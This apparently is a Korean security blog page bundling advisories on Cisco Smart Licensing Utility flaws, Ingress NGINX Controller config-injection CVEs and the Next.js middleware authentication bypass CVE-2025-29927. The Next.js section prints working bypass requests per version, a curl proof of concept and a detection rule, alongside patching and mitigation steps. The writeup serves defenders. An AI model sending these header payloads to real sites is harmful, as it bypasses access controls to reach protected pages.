[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71717&menuNo=205020
[12] https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/?utm_source=chatgpt.com

1. Cisco CSLU

- Cisco Smart License Utility Manager [1]

- 사용자가 Smart Licensed 지원 제품 인스턴스를 호스팅 된 Cisco Smart Software Manager에 직접 연결하지 않고도 장치를 관리 할 수 ​​있도록하는 Windows 기반 솔루션

[사진 1] CSLU

2. 취약점

2.1 CVE-2024-20439

[사진 2] CVE-2024-20439 [2]

- 인증되지 않은 원격 공격자가 정적 관리자 자격 증명을 사용하여 시스템에 로그인할 수 있는 취약점 (CVSS: 9.8)

> 계정 정보가 소스 코드 내 하드 코딩 되어있어 공격자는 CSLU API를 통해 관리자 권한으로 로그인 가능

※ CSLU가 수동 실행된 상태에서만 공격 가능 (CSLU는 기본적으로 백그라운드에서 자동 실행되지 않음)

영향받는 버전
- Cisco Smart Licensing Utility(CSLU) 2.0.0 / 2.1.0 / 2.2.0

[사진 3] 하드코딩된 자격 증명 [3]

2.2 CVE-2024-20440

[사진 4] CVE-2024-20440 [4]

- 디버그로그 파일에 과도한 정보가 기록되어, 인증되지 않은 공격자가 조작된 HTTP 요청을 보내 민감 정보를 획득할 수 있는 취약점

> 공격에 성공할 경우 API 자격 증명을 포함한 민감 정보 획득 가능

영향받는 버전
- Cisco Smart Licensing Utility(CSLU) 2.0.0 / 2.1.0 / 2.2.0

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [5][6][7]

> 시스코 제품 보안 사고 대응팀과 SANS 기술연구소는 두 취약점을 연계한 CSLU 대상 공격이 진행되고 있음을 확인
> 신속한 업데이트 적용 필요

취약점 제품명 영향받는 버전 해결 버전
CVE-2024-20439
CVE-2024-20440
Cisco Smart Licensing Utility(CSLU) 2.0.0 고정된 릴리즈로 마이그레이션
(2.3.0)
2.1.0
2.2.0

4. 참고

[1] https://www.cisco.com/web/software/286327971/154599/CSLU_User_Guide.pdf
[2] https://nvd.nist.gov/vuln/detail/cve-2024-20439
[3] https://www.stormshield.com/news/security-alert-cve-2024-20439-stormshield-products-response/
[4] https://nvd.nist.gov/vuln/detail/cve-2024-20440
[5] https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cslu-7gHMzWmw
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71709&menuNo=205020
[7] https://asec.ahnlab.com/ko/82942/
[8] https://www.dailysecu.com/news/articleView.html?idxno=165045

1. Ingress NGINX Controller

- Ingress란 클러스터 외부에서 내부로 접근하는 요청들을 어떻게 처리할지 정의해둔 규칙들의 모음 [1][2][3][4]
- Ingress Controller란 Ingress 리소스에 정의된 규칙을 읽고, 해당 규칙에 따라 트래픽을 라우팅 [1][2][3][4]
Ingress NGINX Controller란 NGINX를 역방향 프록시 및 로드 밸런서로 사용하는 Kubernetes용 Ingress Controller [5][6]

2. 주요내용 [7]

- Ingress NGINX Controller의 구조적 설계 문제로 공격자가 악의적인 Ingress 객체를 전송하여 임의의 NGINX 설정을 주입할 수 있음

> 취약점 악용에 성공 시 클러스터 내 모든 시크릿 노출, 원격 코드 실행 등이 가능

 

- Admission Controller는 사용자의 요청을 변조(Mutate)검증(Validation)을 통해 요청의 승인 여부를 결정

> 기본적으로 인증 없이 누구나 접근 가능한 상태로 배포되어 네트워크를 통해 액세스 가능

※ 변조(Mutate) : 사용자의 요청을 사전 정의된 변형 규칙에 따라 요청을 변경

검증(Validation) : 요청이 기준에 맞는지 확인하여 해당 요청을 승인 또는 거절

 

- Admission Controller는 Admission Webhook Endpoint를 통해 Kubernetes API 서버와 통신

> AdmissionReview 구조로 통신

> 일반 적으로 Kubernetes API 서버만 AdmissionReview 요청을 보내야 하지만, Admission Controller는 누구나 접근 가능하기 때문에 임의의 AdmissionReview 요청을 전송할 수 있음

[사진 1] Admission Controller

 

- Ingress NGINX Controller는 AdmissionReview 요청을 처리할 때 템플릿 파일과 제공된 Ingress 객체를 기반으로 임시 NGINX 구성 파일을 생성

> 임시 파일 생성 후 nginx -t 명령을 사용해 임시 구성 파일의 유효성을 테스트

> 이때, 적절한 검증이 없어 조작된 Ingress 객체를 전송해 임의의 NGINX 구성을 삽입할 수 있음

[사진 2] nginx -t

2.1 취약점

2.1.1 CVE-2025-24514 [9]

- authreq 파서는 인증 관련 주석을 처리하는 역할을 수행

> 주석에는 URL을 포함하는 auth-url 필드를 설정해야 하며, 해당 값을 적절한 검증 없이 $externalAuth.URL에 포함

> ngnix -t 명령을 실행할 때 명령에 포함되어 실행

2.1.2 CVE-2025-24513 [10]

- 부적절한 입력 값 검증으로 Directory Traversal 공격이 가능

> 이를 통해 DoS 또는 제한된 비밀 객체 노출 발생 가능

2.1.3 CVE-2025-1097 [11]

- authtls 파서는 auth-tls-match-cn 주석을 CommonNameAnnotationValidator를 사용하여 필드 값을 검증

> auth-tls-match-cn 주석은 CN=으로 시작

> 이를 통해 임의의 코드 실행이 가능

2.1.4 CVE-2025-1098 [12]

- mirror-targetmirror-host Ingress 주석을 사용하여 nginx에 임의의 구성을 삽입할 수 있음

> 이를 통해 임의의 코드 실행이 가능

2.1.5 CVE-2025-1974 [13]

- 특정 조건 하에서 Pod Network에 액세스할 수 있는 인증되지 않은 공격자가 임의 코드 실행이 가능

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [14][15][16][17]

제품명 영향받는 버전 해결 버전
Ingress NGINX Controller 1.11.0 미만 1.11.5
1.11.0 이상 ~ 1.11.4 이하
1.12.0 1.12.1

 

- 추가 모니터링 및 필터 적용

> Admission Controller가 Kubernetes API 서버에서만 접근 가능하도록 접근 제한

> Admission Webhook Endpoint가 외부에 노출되지 않도록 설정

> Admission Controller 컴포넌트가 불필요할 경우 비활성화

> Helm을 사용하여 ingress-nginx를 설치한 경우 controller.admissionWebhooks.enabled=false로 설정하여 재설치
> 수동으로 ingress-nginx를 설치한 경우

① ValidatingWebhookConfiguration에서 ingress-nginx-admission 삭제

② ingress-ngin-controller 컨테이너의 Deployment 또는 Daemonset에서 '--validating-webhook' 인수 삭제

4. 참고

[1] https://kubernetes.io/ko/docs/concepts/services-networking/ingress/
[2] https://kubernetes.io/ko/docs/concepts/services-networking/ingress-controllers/
[3] https://somaz.tistory.com/120
[4] https://somaz.tistory.com/324
[5] https://github.com/kubernetes/ingress-nginx
[6] https://kubernetes.github.io/ingress-nginx/
[7] https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
[8] https://velog.io/@utcloud/k8s-Admission-Controller
[9] https://github.com/kubernetes/kubernetes/issues/131006
[10] https://github.com/kubernetes/kubernetes/issues/131005
[11] https://github.com/kubernetes/kubernetes/issues/131007
[12] https://github.com/kubernetes/kubernetes/issues/131008
[13] https://github.com/kubernetes/kubernetes/issues/131009
[14] https://kubernetes.github.io/ingress-nginx/deploy/upgrade/
[15] https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.11.5
[16] https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.12.1
[17] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71698&menuNo=205020

1. Next.js [1]

- 풀 스택 웹 애플리케이션을 구축하기 위한 React 기반의 오픈소스 자바 스크립트 프레임워크

2. CVE-2025-29927

[사진 1] CVE-2025-29927 [2]

- Next.js의 미들웨어 (Middleware)의 권한 검사를 우회할 수 있는 인증 우회 취약점 (CVSS: 9.1)

> 미들웨어 (Middleware)는 요청을 처리하는 과정에서 사용자 인증 및 권한 검사를 수행

> x-middleware-subrequest 헤더를 조작해 미들웨어 기반의 보안 검사 우회

영향받는 버전
Next.js
- 15.x < 15.2.3
- 14.x < 14.2.25
- 13.x < 13.5.9
- 12.x < 12.3.5

 

- 무한 루프를 방지하기 위해 x-middleware-subrequest 헤더 사용 [3][4]

① 사용자 요청에서 x-middleware-subrequest 헤더 추출

② ':'를 기준으로 분할하여 배열로 저장

③ 현재 실행 중인 미들웨어의 이름과 일치하는 요청이 몇 번 반복되었는지 계산 (depth)

④ 동일한 요청이 최대 재귀 깊이 (MAX_RECURSION_DEPTH) 보다 많은 경우 x-middleware-next 헤더를 1로 설정

> x-middleware-next 헤더는 현재 미들웨어를 중단하고 다음 미들웨어로 요청을 전달하는 헤더로 판단됨

...
export const run = withTaggedErrors(async function runWithTaggedErrors(params) {
  const runtime = await getRuntimeContext(params)
  const subreq = params.request.headers[`x-middleware-subrequest`] ----------------- 1
  const subrequests = typeof subreq === 'string' ? subreq.split(':') : [] ---------- 2

  const MAX_RECURSION_DEPTH = 5
  const depth = subrequests.reduce( ------------------------------------------------ 3
    (acc, curr) => (curr === params.name ? acc + 1 : acc),
    0
  )

  if (depth >= MAX_RECURSION_DEPTH) { ---------------------------------------------- 4
    return {
      waitUntil: Promise.resolve(),
      response: new runtime.context.Response(null, {
        headers: {
          'x-middleware-next': '1',
        },
      }),
    }
  }
  ...

 

- 동일한 미들웨어가 5번 이상 x-middleware-subrequest 헤더에 포함될 경우 ④의 과정을 통해 우회 가능

> 버전별로 미들웨어 파일의 이름과 위치가 다르기 때문에 악용 가능한 x-middleware-subrequest 헤더 값이 상이

버전 악성 요청 예시
~ 12.2 GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: pages/_middleware
12.2 ~ 13 GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: middleware
13 ~ GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
 
또는 

GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

 

- PoC 예시 [5]

curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

 

[사진 2] 악용 패킷 캡쳐

3. 대응방안

- 벤더사 제공 업데이트 적용 [6][7]

제품명 영향받는 버전 해결 버전
Next.js 15.x 15.2.3
14.x 14.2.25
13.x 13.5.9
12.x 12.3.5

 

- 업데이트 적용이 불가한 경우 x-middleware-subrequest 헤더가 포함된 외부 사용자 요청이 Next.js 애플리케이션에 도달하지 못하도록 차단 [8]

① Apche

>.htaccess 파일 설정 변경 : mod_headers 기능 설치 및 요청에 해당 헤더가 포함된 경우 삭제하도록 설정 [9]

<IfModule mod_headers.c>
RequestHeader unset x-middleware-subrequest
</IfModule>

 

② NGINX

> nginx.conf 파일 설정 변경 : proxy_set_header 지시문 활용

 server {
   listen 80;
   server_name your_domain.com;
   location / {
     proxy_set_header x-middleware-subrequest "";
   }
 }

 

③ Express.js

> JavaScript 소스 코드에 다음 지침을 추가

// Middleware to remove the x-middleware-subrequest header
 app.use((req, res, next) => {
   delete req.headers['x-middleware-subrequest'];
   next();
 });

 

- WAF에서 x-middleware-subrequest 헤더를 포함한 요청을 차단하도록 설정

 

- 탐지룰 설정

alert tcp any any -> any any (msg:"CVE-2025-29927 x-middleware-subrequest Detected"; flow:to_server,established; content:"x-middleware-subrequest|3A|"; http_header; pcre:"x-middleware-subrequest\s*:\s*(pages\/_middleware|middleware|src\/middleware)"; )

4. 참고

[1] https://nextjs.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-29927
[3] https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
[4] https://github.com/vercel/next.js/blob/eb883cdcfb22517e4babec6f38d3fe86961e2811/packages/next/src/server/web/sandbox/sandbox.ts#L94
[5] https://github.com/MuhammadWaseem29/CVE-2025-29927-POC
[6] https://nextjs.org/blog/cve-2025-29927
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71695&menuNo=205020
[8] https://jfrog.com/blog/cve-2025-29927-next-js-authorization-bypass/
[9] https://httpd.apache.org/docs/2.2/ko/mod/mod_headers.html#page-header
[10] https://www.boannews.com/media/view.asp?idx=136641&page=2&kind=1

+ Recent posts